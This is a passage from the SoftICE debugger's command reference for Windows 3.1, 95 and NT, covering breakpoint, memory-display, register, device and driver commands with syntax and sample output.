segments.
selector: Valid 16-bit selector in a Windows program.
verb
IF expression Conditional expression: the expression must evaluate to TRUE (non-
zero) for the breakpoint to trigger.
DO command Breakpoint action: A series of SoftICE commands can execute when
the breakpoint triggers.

Note: You can combine breakpoint count functions (BPCOUNT, BPMISS, BPTOTAL,
BPLOG, and BPINDEX) with conditional expressions to monitor and control
breakpoints based on the number of times a particular breakpoint has or has not
triggered. See Chapter 6, ``Using Breakpoints,'' in the Using SoftICE manual.

Value_____Description

R Read
W Write
RW Reads and Writes
T Back Trace on Execution
TW Back Trace on Memory Writes

%Use
The BPRW command is a short-hand way of setting range breakpoints on either all of the
code segments, or on a single segment of a Windows program.

The BPRW command actually sets BPR style breakpoints. Thus, if you enter the BL
command after entering a BPRW command, you can see where separate range breakpoints
were set to cover the segments specified in the BPRW command.

Valid selectors for a 16-bit Windows program can be obtained with the HEAP instruction.

Clearing the breakpoints created by BPRW commands requires that each of these range
breakpoints be separately cleared with the BC command.

Note: The BPRW command can become very slow when using the T verb to back trace or
when using the command in conjunction with a CSIP qualifying range.

For Windows 95
Due to a change in system architecture, BPRs are no longer supported in level 0 code. For
example, you cannot use BPRs to trap VxD code.

When a BPRW is set on a 32-bit application or DLL, a single range breakpoint is set starting
at the executable image base and ending at the image base plus image size.

Common Uses
The BPRW command is commonly used to do the following:
. To set a back trace history range over an entire Windows application or DLL, specify the
module-name and the T verb.
. To set a breakpoint that triggers whenever a program executes, use the R verb. This works
because the R verb breaks on execution as well as reads.
. To use BPRW as a convenient form of BPR. Instead of requiring you to look up a
segment's base and limit through the LDT or GDT commands, you only need to know
the segment selector.

%Example
This example sets up a back trace range on all of the code segments in the Program Manager.
All instructions that the Program Manager executes are logged to the back trace history buffer
and can later be viewed with the TRACE and SHOW commands.
BPRW progman t

:BPT
^BPT Windows 3.1, Windows 95 ManipulatingBreakpoints
^Use a breakpoint description as a template.

%Syntax

BPT breakpoint-index

breakpoint-index: Breakpoint index number.

%Use
The BPT command uses an existing breakpoint description as a template for defining a new
breakpoint. The BPT command loads a template of the breakpoint description into the edit
line for modification. Use the editing keys to edit the breakpoint description and type Enter
to add the new breakpoint description. The breakpoint referenced by breakpoint index is not
altered. This command offers a quick way to modify the parameters of an existing breakpoint.
Conditional expressions are expanded as parts of the breakpoint expression as well as
breakpoint actions.

%Example
The following example moves a template of breakpoint 3 into the edit line (without removing
breakpoint 3). An example of the edit line follows:
BPT 3
.:BPX 1b:401200 if (eax==1) do ``dd esi''
Press Enter to add the new breakpoint.

:BPX
^BPX WINDOWS 3.1, WINDOWS 95, WINDOWS NT BREAKPOINTS
^F9
^Set or clear a breakpoint on execution.

%Syntax
For Windows 3.1
BPX [address] [c=count]

For Windows 95 and Windows NT
BPX [address] [IF expression] [DO "command1;command2;..."]

address: Linear address to set execution breakpoint.
c=: Breakpoint trigger count.
IF expression Conditional expression: the expression must evaluate to TRUE (non-
zero) for the breakpoint to trigger.
DO command Breakpoint action: A series of SoftICE commands can execute when
the breakpoint triggers.

Note: You can combine breakpoint count functions (BPCOUNT, BPMISS, BPTOTAL,
BPLOG, and BPINDEX) with conditional expressions to monitor and control
breakpoints based on the number of times a particular breakpoint has or has not
triggered. See Chapter 6, ``Using Breakpoints,'' in the Using SoftICE manual.

%Use
Use the BPX command to define breakpoints that trigger whenever the instruction at the
specified address is executed.

The address parameter must point at the first byte of the instruction opcode of the instruction
where the breakpoint is being set. If no address is specified and the cursor is in the Code

window when you begin to type the command, a point-and-shoot breakpoint is set where the
implied address is that of the instruction at the cursor location in the Code window. If you
define a point-and-shoot breakpoint at an address where a breakpoint already exists, the
existing breakpoint is cleared.

Note: Use the EC command (default key F6) to move the cursor into the Code window.
If the cursor is not in the Code window when you enter the BPX command, you must specify
an address. If you specify only an offset, the current CS register value is used as the segment.

The BPX command normally places an INT 3 instruction at the breakpoint address. This
breakpoint method is used instead of assigning a debug register to make more execution
breakpoints available. If you need to use a breakpoint register, for example, to set a breakpoint
on code not yet loaded in a DOS VM, set an execution breakpoint with the BPM command
and specify X as the verb.

If you try to set a BPX at an address that is in ROM, a breakpoint register is automatically
used for the breakpoint instead of the normal placement of an INT 3 at the target address
(because ROM cannot be modified).

The BPX command accepts 16-bit Windows module names as an address parameter. When
you enter a 16-bit module name, SoftICE sets a BPX-style breakpoint on every exported entry
point in the module.

Example: BPX KERNEL sets a breakpoint on every function in the 16-bit Windows module
KRNL386.EXE. This can be very useful is you need to break the next time any
function in a DLL is called.

SoftICE supports a maximum of 256 breakpoints when using this command.

For Windows 3.1 and Windows 95
BPX breakpoints in DOS VMs are tied to the VM they were set in. This is normally what you
would like when debugging a DOS program in a DOS VM. However, there are situations
when you may want the breakpoint to go off at a certain address no matter what VM is
currently mapped in. This is usually true when debugging in DOS code or in a TSR that was
run before Windows was started. In these cases, use a BPM breakpoint with the X verb
instead of BPX.

For Windows 95
BPX breakpoints set in the range 400000 - 7FFFFFFF (WIN32 applications) are address-
context sensitive. That is, they are only triggered when the context in which they were set is

active. If a breakpoint is set in a DLL that exists in multiple contexts, however, the breakpoint
will exist in all contexts.

For Windows NT
Any breakpoint set on an address below 80000000h (2 GB) is address-context sensitive. This
includes WIN32, WIN16, and DOS V86 applications. Take care to ensure you are in the
correct context before setting a breakpoint.

%Example
This example sets an execution breakpoint at the instruction 10h bytes past the current
instruction pointer (CS:EIP).
BPX eip+10

This example sets an execution breakpoint at source line 1234 in the current source file (refer
to FILE on page 81).
BPX .1234

For Windows 95 and Windows NT
The following is an example of the use of a conditional expression to qualify a breakpoint. In
this case, the breakpoint triggers if the EAX register is within the specified range:
BPX eip if eax > 1ff && eax <= 300

In this example, a breakpoint action is used to have SoftICE automatically dump a parameter
for a call. Every time the breakpoint is hit, the contents of the string pointed to by the current
DS:DX will be displayed in the Data window.
BPX 80023455 do ``db ds:dx''
See Also FILE

:BSTAT
^BSTAT Windows 95, Windows NT Breakpoints
^Display statistics for one or more breakpoints.

%Syntax
BSTAT [breakpoint-index]

breakpoint-index: Breakpoint index number.

%Use
Use BSTAT to display statistics on breakpoint hits, misses, and whether breakpoints popped
up or were logged. A breakpoint will be logged to the history buffer instead of popping up if it
has a conditional expression that uses the BPLOG expression macro.

Because conditional expressions are evaluated when the breakpoint is triggered, it is possible
to have evaluation run-time errors. Examples of this are when a virtual symbol is referenced,
and that symbol has not been loaded, or a reference to symbol cannot be resolved because the
memory is not present. In these cases, and possibly others, an error will be generated and
noted. The Status and Scode fields under the Misc. column contain error information which

indicates what problem, if any, has occurred.

%Output
For each breakpoint displayed the following information also appears:
BP # Breakpoint index, and if disabled, an * (asterisk).

Totals Category:
Hits
Total number of times SoftICE has evaluated the breakpoint.
Breaks
Total number of times the breakpoint has evaluated TRUE, and
SoftICE has either popped up, or logged the breakpoint.
Popups
Total number of times the breakpoint caused SoftICE to pop up.
Logged
Total number of times the breakpoint has been logged.
Misses
Total number of times the breakpoint evaluated to FALSE, and no
breakpoint action was taken.
Errors
Total number of times that the evaluation of a breakpoint resulted in a
error.

Current Category:
Hits
Current number of times the breakpoint has evaluated TRUE, but did
not pop up because the count had not expired. (Refer to expression
macro BPCOUNT.)
Misses
Current number of times the breakpoint has evaluated FALSE and/or
the breakpoint count has not expired.

Miscellaneous Category:
Status
SoftICE internal status code for the last time the breakpoint was
evaluated, or zero if no error occurred.
Scode
Last non-zero SoftICE internal status code, or zero if no error has
occurred.
Cond.
Yes if the breakpoint has a conditional expression, otherwise No.
Action
Yes if the breakpoint has a defined breakpoint action, otherwise No.

%Example
The following is an example using the BSTAT command for breakpoint #0:
:BSTAT 0
Breakpoint Statistics for #00
BP # *00
Totals
Hits 2
Breaks 2
Popups 2
Logged 0
Misses 0
Errors 0
Current
Hits 0
Misses 0
Misc
Status 0
SCode 0
Cond. No

Action Yes

:C
^C Windows 3.1, Windows 95, Windows NT Miscellaneous
^Compare two data blocks.

%Syntax
C start-address l length start-address-2

start-address: Start of first memory range.
length: Length in bytes.
start-address-2: Start of second memory range.

%Use
The memory block specified by start-address and length is compared to the memory block
specified by the second start address.

When a byte from the first data block does not match a byte from the second data block, both
bytes display, along with their addresses.

%Example
The following example compares 10h bytes starting at memory location DS:805FF000h to
the 10h bytes starting at memory location DS:806FF000h.
C ds:805ff000 l 10 ds:806ff000

:CLASS
^CLASS Windows 3.1, Windows 95, Windows NT SystemInformation
^Display information on Window classes.

%Syntax
For Windows 3.1
CLASS [module-name]

For Windows 95
CLASS [-x][task-name]

For Windows NT
CLASS [-x][process-type | thread-type | module-type | class-name]

module-name: Any currently loaded Windows module. Not all Windows modules
have classes registered.
-x: Display complete Windows 95 or Windows NT internal CLASS data
structure, expanding appropriate fields into more meaningful forms.
task-name:
Any currently executing 16- or 32-bit task.
process-type: Process name, process ID, or process handle.
thread-type Thread ID or thread address (KTEB).
module-type: Module name or module handle.
class-name: Name of a registered class window.

%Use For Windows 95
The operating system maintains the standard window classes in the 16-bit user module (per
Windows 3.1). The operating system maintains all other window classes in separate lists on
behalf of each process. Each time a process or one of its DLLs registers a new window class,
registration places that class on one of two lists:
. The application global list contains classes registered with the CS_GLOBAL attribute.

They are accessible to the process or any of its DLLs.
. The application private list contains non-global classes. Only the registering module can
access them.

Finally, any process or DLL that attempts to superclass one of the standard window controls,
for example, LISTBOX, receives a copy of that class. The copy resides in a process-specific
system-superclass list. By making a copy of the standard class, a process or DLL can superclass
any standard windows control without affecting other processes in the system.

The process-specific class lists display in the following order:
. application private
. application global
. system superclassed
In the output, dashed lines separate each list.

For Windows NT
The architecture of class information under Windows NT is similar to that of Windows 95 in
that class information is process specific and the operating system creates different lists for
global and private classes. Beyond this, the two operating systems have significant differences
in how super-classing a registered window class is implemented.

Under Windows NT, registered window classes are considered templates that describe the base
characteristics and functionality of a window (similar to the C++ notion of an abstract class).
When a window of any class is created, the class template is instanced by making a physical
copy of the class structure. This instanced class is stored with the windows instance data. Any
changes to the instanced class data does not affect the original class template. This concept is
further extended when various members of the windows instanced class structure are
modified. When this occurs, the instanced class is instanced again, and the new instance
points to the original instance. Registered classes act as templates from which instances of a
particular class can be created; in effect this is object inheritance. This inheritance continues as
changes are made to the base functionality of the class.

If you do not specify the type parameter, the current context is assumed because the class
information is process specific. A process-name always overrides a module of the same name.

To search by module when there is a name conflict, use the module handle (base address or
module database selector). Also, module names are always context sensitive. If the module is
not loaded in the current context (or the CSRSS context), the CLASS command interprets
the module name as a class name instead.

%Output
For each class, the following information is shown:

Class Handle
Offset of a data structure within USER. Refers to windows of this class.
Class Name
Name that was passed when the class was registered. If no name was
  passed, the atom displays.
Owner
Module that has registered this window class.

Window Procedure Address of the window procedure for this window class.
Styles Bitmask of flags specified when the class was registered.

%Example For Windows 3.1
The following example uses the CLASS command to display all the classes registers by the
MSWORD module.
.:CLASS msword

Note: There are symbols for all of the window procedures, because SoftICE includes all of the
exported symbols from USER.EXE. If a symbol is not available for the window
procedure, a hexadecimal address displays.

```
Handle Name Owner Window Procedure
0F24 #32772 USER TITLEWNDPROC
0EFC #32771 USER SWITCHWNDPROC
0ED4 #32769 USER DESKTOPWNDPROC
0E18 MDIClient USER MDICLNTWNDPROC
0DDC ComboBox USER COMBOBXWNDPROC
0DA0 ComboLBox USER LBBOXTLWNDPROC
0D64 ScrollBar USER SBWNDPROC
0D28 ListBox USER LBOXCTLWNDPROC
0CF0 Edit USER EDITWNDPROC
```

:CLS
^CLS WINDOWS 3.1, WINDOWS 95, WINDOWS NT WINDOWCONTROL
^Alt-F5
^Clear the Command window.

%Syntax
CLS

%Use
The CLS command clears the SoftICE Command window, all display history, and moves the
prompt and the cursor to the upper lefthand corner of the Command window.

:CODE
^CODE Windows 3.1, Windows 95, Windows NT Customization
^Display instruction bytes.

%Syntax
CODE [on | off]

%Use
The CODE command controls whether or not the actual hexadecimal bytes of an instruction
display when the instruction is unassembled.
. If CODE is ON, the instruction bytes display.
. If CODE is OFF, the instruction bytes do not display.
. CODE with no parameters displays the current state of CODE.
. The default is CODE mode OFF.

%Example

The following command causes the actual hexadecimal bytes of an instruction to display
when the instruction is unassembled.
CODE on

:COLOR
^COLOR Windows 3.1, Windows 95, Windows NT Customization
^Display or set the screen colors.

%Syntax
COLOR [normal bold reverse help line]

normal: Foreground/background attribute that displays normal text.
Default = 07h grey on black.
bold: Foreground/background attribute that displays bold text.
Default = 0Fh white on black.
reverse: Foreground/background attribute that displays reverse video text.
Default = 71h blue on grey.
help: Foreground/background attribute that displays the help line
underneath the Command window.
Default = 30h black on cyan.
line: Foreground/background attribute that displays the horizontal lines
between the SoftICE windows.
Default = 02h green on black.

%Use
Use the COLOR command to customize the SoftICE screen colors on a color monitor. Each
of the five specified colors is a hexadecimal byte where the foreground color is in bits 0-3 and
the background color is in bits 4-6. This is identical to the standard CGA attribute format
where there are 16 foreground colors and 8 background colors.

The actual colors represented by the 16 possible codes are listed in the following table:

Code	Color	Code	Color
0	black	A	light green
1	blue	B	light cyan
2	green	C	light red
3	cyan	D	light magenta
4	red	E	yellow
5	magenta	F	white
6	brown		
7	grey		
8	dark grey		
9	light blue		

%Example
This command causes the following color assignments:
COLOR 7 f 71 30 2

normal text: grey on black
bold text: white on black
reverse video text: blue on grey
help line: black on cyan
horizontal line: green on black

:CPU.
^CPU Windows 3.1, Windows 95, Windows NT SystemInformation
^Display the registers.

%Syntax
 CPU [-i]

 -i: Displays the I/O APIC.

%Use
 The CPU command shows all the CPU registers (general, control, debug, and segment).

 For Windows NT
 If your PC contains a multi-processor mother board that uses an I/O APIC as an interrupt
 controller, the CPU command displays the CPU local and I/O APICS.

%Example
 The following example lists the sample output from the CPU command under Windows 95
 or Windows NT on systems that do not use an I/O APIC:

```
 Processor 00 Registers
 ----------------------
 CS:EIP=0008:8013D7AE SS:ESP=0010:8014AB7C
 EAX=00000041 EBX=FFDFF000 ECX=00000041 EDX=80010031
 ESI=80147940 EDI=80147740 EBP=FFDFF600 EFL=00000246
 DS=0023 ES=0023 FS=0030 GS=0000
 CR0=8000003F PE MP EM TS ET NE PG
 CR2=C13401D6
 CR3=00030000
 CR4=00000011 VME PSE
 DR0=00000000
 DR1=00000000
 DR2=00000000
 DR3=00000000
 DR6=FFFF0FF0
 DR7=00000400
 EFL=00000246 PF ZF IF IOPL=0
```

 The following example lists the sample output from the CPU command under Windows NT
 on a system that uses an I/O APIC:

```
 Processor 00 Registers
 ----------------------
 CS:EIP=0008:8013D7AE SS:ESP=0010:8014AB7C
 EAX=00000041 EBX=FFDFF000 ECX=00000041 EDX=80010031
 ESI=80147940 EDI=80147740 EBP=FFDFF600 EFL=00000246
 DS=0023 ES=0023 FS=0030 GS=0000
 CR0=8000003F PE MP EM TS ET NE PG
 CR2=C13401D6
 CR3=00030000
 CR4=00000011 VME PSE
 DR0=00000000
 DR1=00000000
 DR2=00000000
 DR3=00000000
 DR6=FFFF0FF0
 DR7=00000400
 EFL=00000246 PF ZF IF IOPL=0
 --------Local apic--------
 ID: 0
 Version: 30010
```

```
 Task Priority: 41
 Arbitration Priority: 41
 Processor Priority: 41
 Destination Format: FFFFFFFF
 Logical Destination: 1000000
 Spurious Vector: 11F
 Interrupt Command: 3000000:60041
 LVT (Timer): 300FD
 LVT (Lint0): 1001F
 LVT (Lint1): 84FF
 LVT (Error): E3
 Timer Count: 3F94DB0
 Timer Current: 23757E0
 Timer Divide: B
```

The following example lists the sample output from the CPU -i command under Windows
NT on a system that uses an I/O APIC:

```
 Inti Vector Delivery Status Trigger Dest Mode Destination
   01    91   Low. Pri Idle   Edge   Logical 01000000
   03    61   Low. Pri Idle   Edge   Logical 01000000
   04    71   Low. Pri Idle   Edge   Logical 01000000
   08    D1   Fixed    Idle   Edge   Logical 01000000
   0C    81   Low. Pri Idle   Edge   Logical 01000000
   0E    B1   Low. Pri Idle   Edge   Logical 01000000
 I/O unit id register: 0E000000
 I/O unit version register: 000F0011
```

:CR
^CR Windows 3.1 SystemInformation
^Display the control registers.

%Syntax
 CR

%Use
 The CR command displays the contents of the three control registers CR0, CR2, and CR3,
 and the debug registers in the Command window. CR0 is the processor control register. CR2
 is the register in which the processor stores the most recently accessed address that resulted in
 a page fault. CR3 contains the physical address of the system's page directory (refer to PAGE
 on page 150).

%Example
 The following example lists the sample output from a CR command:

```
 CR0=8000003B PE MP TS ET NE PG
 CR2=000CC985
 CR3=002FE000
 CR4=00000008 DE
 DR1=00000000
 DR2=00000000
 DR3=00000000
 DR6=FFFF0FF0
 DR7=00000400
```

:CSIP
^CSIP Windows 3.1 Breakpoints

^Set CS:EIP (instruction pointer) memory range qualifier for all breakpoints (for 16-bit
^programs only).

%Syntax
 CSIP [off | [not] start-address end-address | Windows-module-name]

 off: Turns off CSIP checking.
   not Breakpoint only occurs if the CS:EIP is outside the specified range.
 start-address: Beginning of memory range.
 end-address: End of memory range.
 Windows-module-name: If you specify a valid Windows-module-name instead of a memory
   range, the range covers all code areas in the specified Windows
   module.

%Use For Windows 3.1
 The CSIP command qualifies breakpoints so that the code that causes the breakpoint must
 come from a specified memory range. This function is useful when a program is suspected of
 accidentally modifying memory outside of its boundaries.

 When breakpoint conditions are met, the instruction pointer (CS:EIP) is compared to the
 specified memory range. If it is within the range, the breakpoint activates. To activate the
 breakpoint only when the instruction pointer (CS:EIP) is outside the range, use the NOT
 parameter.

 Because 16-bit Windows programs are typically broken into several code segments scattered
 throughout memory, you can input a Windows module name as the range. If you enter a
 module name, the range covers all code segments in the specified Windows program or DLL.
 When you specify a CSIP range, it applies to ALL breakpoints that are currently active.
 If do not specify parameters, the current memory range displays.

 For Windows 95 and Windows NT
 For 32-bit code, this command is obsolete. Use conditional expressions to achieve this
 functionality. CSIP still works for 16-bit code and modules.

%Example
 The following command causes breakpoints to occur only if the CS:EIP is NOT in the ROM
 BIOS when the breakpoint conditions are met.
 CSIP not $f000:0 $ffff:0

 The following command causes breakpoints to occur only if the Windows program CALC
 causes them.
 CSIP calc

:D
^D Windows 3.1, Windows 95, Windows NT Display/ChangeMemory
^Display memory.

%Syntax
 For Windows 3.1

D[size] [address]

For Windows 95 and Windows NT
D[size] [address [l length]]
size

%Use
The D command displays the memory contents at the specified address.

The contents display in the format of the size you specify. If you do not specify a size, the last
size used displays. The ASCII representation displays for the byte, word, and double word
hexadecimal formats.

For the dword format, data is displayed in two different ways.
. If the displayed segment is a 32-bit segment, the dwords display as 32-bit hexadecimals
(eight hexadecimal digits).
. If the displayed segment is a 16-bit segment (VM segment or LDT selector), the dwords
display as 16:16 pointers (four hexadecimal digits ':' four more hexadecimal digits).

If you do not specify an address, the command displays memory at the next sequential address
after the last byte displayed in the current Data window.
If the Data window is visible, the data displays there; otherwise, it displays in the Command
window. In the Command window, either eight lines display or one less than the length of the
window.

Value	Description
B	Byte
W	Word
D	Double Word
S	Short Real
L	Long Real
T	10-Byte Real

For floating point values, numbers can display in the following format:
[leading sign] decimal-digits . decimal-digits E sign exponent
The following ASCII strings can also display for real formats:

For Windows 95 and Windows NT
If an L parameter followed by a length is specified, SoftICE displays the requested number of
bytes to the Command window regardless of whether the Data window is visible. SoftICE
always displays whole rows. If the length is not a multiple of rows, SoftICE will round up.

This command is useful when dumping large amounts of data to the Command window for
the purpose of logging it to a file.

%Example
Displays the memory starting at address ES:1000h in word format and in ASCII format.
DW es:1000

For Windows 95 and Windows NT

The following command displays 4KB of memory starting at address SS:ESP in dword
format. The data is displayed in the Command window.
.:DD ss:esp l 1000

String Exponent: Mantissa Sign
Not A Number all 1's NOT 0 +/-
Denormal all 0's NOT 0 +/-
Invalid 10 byte only with mantissa=0
Infinity all 1's 0 +/-

:DATA
^DATA WINDOWS 3.1, WINDOWS 95, WINDOWS NT WINDOWCONTROL
^Windows 3.1 - F12
^Change to display another Data window.

%Syntax
DATA [window-number]

window-number: Number of the Data window you want to view.
This can be 0, 1, 2, or 3.

%Use
SoftICE supports up to four Data windows. Each Data window can display a different address
and/or format. Only one Data window is visible at any time. Specifying DATA without a
parameter just switches to the next Data window. The windows are numbered from 0 to 3.
This number displays on the righthand side of the line above the Data window. If you specify
a window-number after the DATA command, SoftICE switches to display that window. The
DATA command is most useful when assigned to a function key. See Chapter 8,

``Customizing SoftICE,'' in the Using SoftICE manual.

%Example
Changes the Data window to Data window number 3.
DATA 3

:DEVICE
^DEVICE Windows NT System Information
^Display information on Windows NT devices.

%Syntax
DEVICE [device-name | pdevice-object]

%Use
The DEVICE command displays information on Windows NT device objects. If the
DEVICE command is entered without parameters, summary information displays for all
device objects found in the \Device directory. However, if a specific device object is indicated,
either by its object directory name (device-name) or object address (pdevice-object), more
detailed information displays.

If a directory is not specified with a device-name, the DEVICE command attempts to locate
the named device object in the \Device object directory. To display information about a device

object that is not located in the \Device directory, specify the complete object path name of
the device object. When displaying information about a specified device, the DEVICE
command displays fields of the DEVICE_OBJECT data structure as defined in NTDDK.H.
%Output The following fields are shown as summary information:

RefCnt
Device object's reference count.
DrvObj
Pointer to the driver object that owns the device object.
NextDev
Pointer to the next device object on the linked list of device objects
that were created by the same driver.
AttDev
Pointer to a device object that has been attached to the displayed
object via an IoAttachDeviceObject call. Attached device objects are
essentially IRP filters for the devices to which they are attached.
CurIrp
Pointer to the IRP currently being serviced for the device object by the
device object's driver.
DevExten
Pointer to device driver-defined device object extension data structure.
Name
Name of the device, if it has one.

The following are some fields shown when detailed information is printed:

Flags
Definition of the device object's attributes such as whether I/O
performed on the device is buffered or not.
Vpb
Pointer to the device's associated volume parameter block.
Device Type
User-defined or pre-defined value that SoftICE translates to a name.

%Example
The following example shows the DEVICE command output with no parameters. It results in
SoftICE printing summary information on all device objects in the \Device object directory.
DEVICE

This example uses the DEVICE command with the BEEP device object's name.

```
DEVICE beep
RefCnt DrvObj NextDev AttDev CurIrp DevExten Name
00000000 FD8CD910 00000000 00000000 00000000 FD8CD868 Beep
Timer* : 00000000
Flags : 00000044 DO_BUFFERED_IO | DO_DEVICE_HAS_NAME
Characteristics : 00000000
Vpb* : 00000000
Device Type : 1 FILE_DEVICE_BEEP
StackSize : 1
&Queue : FD8CD7E4
AlignmentRequirement: 00000000 FILE_BYTE_ALIGNMENT
&DeviceQueue : FD8CD810
&Dpc : FD8CD824
ActiveThreadCount : 00000000
SecurityDescriptor* : E10E2528
&DeviceLock : FD8CD84C
SectorSize : 0000
Spare1 : 0000
```

DeviceObjectExtn* : FD8CD8B8
 Reserved* : 00000000
 RefCnt DrvObj NextDev AttDev CurIrp DevExten Name
 00000000 FD8CD910 00000000 00000000 00000000 FD8CD868 Beep
 00000015 FD89E730 00000000 00000000 00000000 FD89C968 NwlnkIpx
 00000001 FD892170 00000000 00000000 00000000 FD8980E8 Netbios
 00000000 FD89D730 00000000 00000000 00000000 FD897D68 Ip
 00000001 FD8CBB70 00000000 00000000 FD8DAA08 FD8CAF88 KeyboardClass0
 00000001 FD8C9F30 00000000 00000000 00000000 FD8C60F0 Video0
 00000001 FD8C9C90 00000000 00000000 00000000 FD8C50F8 Video1
 00000001 FD8CC530 00000000 00000000 FD8DAC08 FD8CBF88 PointerClass0
 00000001 FD8DB550 FD8D3030 00000000 00000000 FD8D3FC8 RawTape
 00000007 FD89D730 FD897CB0 00000000 00000000 FD897C48 Tcp
 00000001 FD88A990 00000000 00000000 00000000 FD88A8A8 ParallelPort0
 00000003 FD8B3730 00000000 00000000 00000000 FD8A40E8 NE20001

:DEX
^DEX Windows 3.1, Windows 95, Windows NT Customization
^Display or assign a Data window expression.

%Syntax
 DEX [data-window-number [expression]]

 data-window-number: Number from 0 to 3 indicating which Data window to use.
This
 number displays on the righthand side of the line above the Data
 window.

%Use
 The DEX command assigns a data expression to any of the four SoftICE Data
windows.
 Every time SoftICE pops up, the expressions are re-evaluated and the memory at
that location
 displays in the appropriate Data window. This is useful for displaying changing
memory
 locations where there is always a pointer to the memory in either a register or
a variable. The
 data displays in the current format of the Data window: either byte, word,
dword, short real,
 long real, or 10-byte real. This command is the same as entering the command
 D expression
 every time SoftICE pops up.

 If you type DEX without parameters, it displays all the expressions currently
assigned to the
 Data windows.

 To unassign an expression from a Data window, type DEX followed by the data-
window-
 number, then press Enter.

 To cycle through the four Data windows, use the DATA command. Refer to DATA on
page
 63.

%Example
 Every time SoftICE pops up, Data window 0 contains the contents of the stack.
 DEX 0 ss:esp

 Every time SoftICE pops up, Data window 1 contains the contents of the memory
pointed at
 by the public variable PointerVariable.
 DEX 1 @pointervariable

See Also DATA

:DIAL
^DIAL Windows 95, Windows NT Customization
^Redirect console to modem.

%Syntax
DIAL [on [com-port] [baud-rate] [i=init-string] [p=number] | off]

com-port :If no com-port is specified it uses COM1.
baud-rate :Baud-rate to use for modem communications. The default is 38400.
The rates are 1200, 2400, 4800, 9600, 19200, 23040, 28800, 38400,
57000, 115000.
i=init-string Optional modem initialization string.
p=number Telephone number.

%Use
The DIAL command initiates a call to a remote machine via a modem. The remote machine
must be running SERIAL.EXE and be waiting for a call. Once a connection is established,
SoftICE input is received from the remote machine and SoftICE output is sent to the remote
machine. No input is accepted from the local machine except for the pop-up hot key
sequence.

You can specify the modem initialization string and phone number within the SoftICE
configuration settings, so that the strings they specify become the defaults for the i and p
command-line parameters. Refer to Chapter 8, ``Customizing SoftICE'' in the Using SoftICE
manual.

On the remote machine, only the com-port, baud-rate, and init parameters should be
specified to SERIAL.EXE.

%Example
The following is an example of the DIAL command:
DIAL on 2 19200 i=atx0 p=9,555-5555,,,1000
The command tells SoftICE to first initialize the modem on com-port 2 with the string,
``atx0,'' and then to make a call through the modem to the telephone number 9-555-5555
extension 1000. Commas can be used in the phone number, just as with traditional modem
software, to insert delays into the dialing sequence.

The following example shows the syntax expected by SERIAL.EXE when running it on a
remote machine so that it answers a DIAL command from the local machine:
SERIAL on [com-port] [baud-rate] i"init-string"

The following SERIAL.EXE command-line uses a modem initialization string of ``atx0'' to
answer a call (at 19200 bps) through a modem on the remote machine's COM1 serial port.

The command line is entered on the remote machine.
SERIAL on 1 19200 i"atx0"

When the remote debugging session is complete, enter the DIAL OFF command from the
remote machine to terminate the debugging session and hang up the modem.
The following are examples of the Dial initialization and Phone number strings in the Remote

Debugging SoftICE configuration settings:

Dial initialization string: atx0
Telephone number string: 9,555-5555,,,1000
With the Dial initialization string in place, SoftICE always initializes the modem specified in
DIAL commands with ``ATX0'', unless the DIAL command explicitly specifies an
initialization string.

With the Phone initialization string in place, SoftICE always dials the specified number when
executing DIAL commands, unless the DIAL command explicitly specifies a phone number.

:DRIVER
^DRIVER Windows NT SystemInformation
^Display information on Windows NT drivers.

%Syntax
DRIVER [driver-name | pdriver-object]

%Use
The DRIVER command displays information on Windows NT drivers. If the DRIVER
command is entered without parameters, summary information is shown for all drivers found
in the \Driver directory. However, if a specific driver is indicated, either by its object directory
name (driver-name), or by its object address (pdriver-object), more detailed information is
displayed.

If a directory is not specified with the driver-name, the DRIVER command attempts to locate
the named driver in the \Driver object directory. To display information about a driver that is
not located in the \Driver directory, you must specify the complete object path name of the
driver.

When displaying detailed information about a specified driver, the DRIVER command
displays the fields of the DRIVER_OBJECT data structure as defined in NTDDK.H.

%Output
The following fields are shown as summary information:
Start
Base address of the driver.
Size
Driver's image size.
DrvSect
Pointer to driver module structure.
Count
Number of times the registered reinitialization routine has been
invoked for the driver.
DrvInit
Address of the driver's DriverEntry routine.

DrvStaIo
Address of the driver's StartIo routine.
DrvUnld
Address of the driver's Unload routine.
Name
Name of the driver.

The following is shown when detailed information is printed:
DeviceObject
Pointer to the first device object on the driver's linked list of device objects that it owns.
Flags
Field is a bit-mask of driver flag. The only flag currently documented is DRVO_UNLOAD_INVOKED.
FastIoDispatch
Pointer to the driver's fast I/O dispatch data structure, if it has one.
File System Drivers typically have a fast I/O routines defined for them.
Information on the structure can be found in NTDDK.H.
Handler
Addresses Upon initialization, driver's can register handlers that are called when
the driver receives specific IRP request types. Each handler address is listed along with the IRP major function it processes for the driver.

%Example
The following example shows the output of the DRIVER command with no parameters. This
results in SoftICE printing summary information on all the drivers in the \Driver object
directory.

DRIVER
The following is an example of the DRIVER command with the BEEP.SYS driver object's
name as a parameter. From the listing it can be seen that the driver's first device object is at
FD8CD7B0h, and that it has 4 IRP handler routines registered.

```
DRIVER beep
Start Size DrvSect Count DrvInit DrvStaIo DrvUnld Name
FB030000 00000E20 FD8CDA88 00000000 FB0302EE FB0305E8 FB0306E2 Beep
DeviceObject* : FD8CD7B0
Flags : 00000000
HardwareDatabase : \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM
FastIoDispatch* : 00000000
IRP_MJ_CREATE at 8:FB03053C
IRP_MJ_CLOSE at 8:FB03058A
IRP_MJ_DEVICE_CONTROL at 8:FB0304C6
IRP_MJ_CLEANUP at 8:FB030416
Start Size DrvSect Count DrvInit DrvStaIo DrvUnld Name
FB030000 00000E20 FD8CDA88 00000000 FB0302EE FB0305E8 FB0306E2 Beep
FB130000 0000D3A0 FD89E8C8 00000000 FB13B7BF 00000000 FB136789 NwlnkIpx
FB050000 00002320 FD8CD1A8 00000000 FB050AF2 FB0508BE 00000000 Mouclass
FB060000 00002320 FD8CBC48 00000000 FB060AF2 FB0608C0 00000000 Kbdclass
FB070000 00003860 FD8CAE48 00000000 FB070B0C 00000000 00000000 VgaSave
```

:E
^E Windows 3.1, Windows 95, Windows NT Display/ChangeMemory
^Edit memory.

%Syntax
E[size] [address [data-list]]

size
data-list: List of data objects of the specified size (bytes, words, double words,
short reals, long reals, or 10-byte reals) or quoted strings separated by
commas or spaces. The quoted string can be enclosed with single
quotes or double quotes.

%Use
If you do not specify data-list, the cursor moves into the Data window where you can edit the
memory in place. If you specify a data-list, the memory is immediately changed to its new
values.

If the Data window is not currently visible, it is automatically made visible. Both ASCII and
hexadecimal edit modes are supported. To toggle between the ASCII and hexadecimal display
areas, press the Tab key.

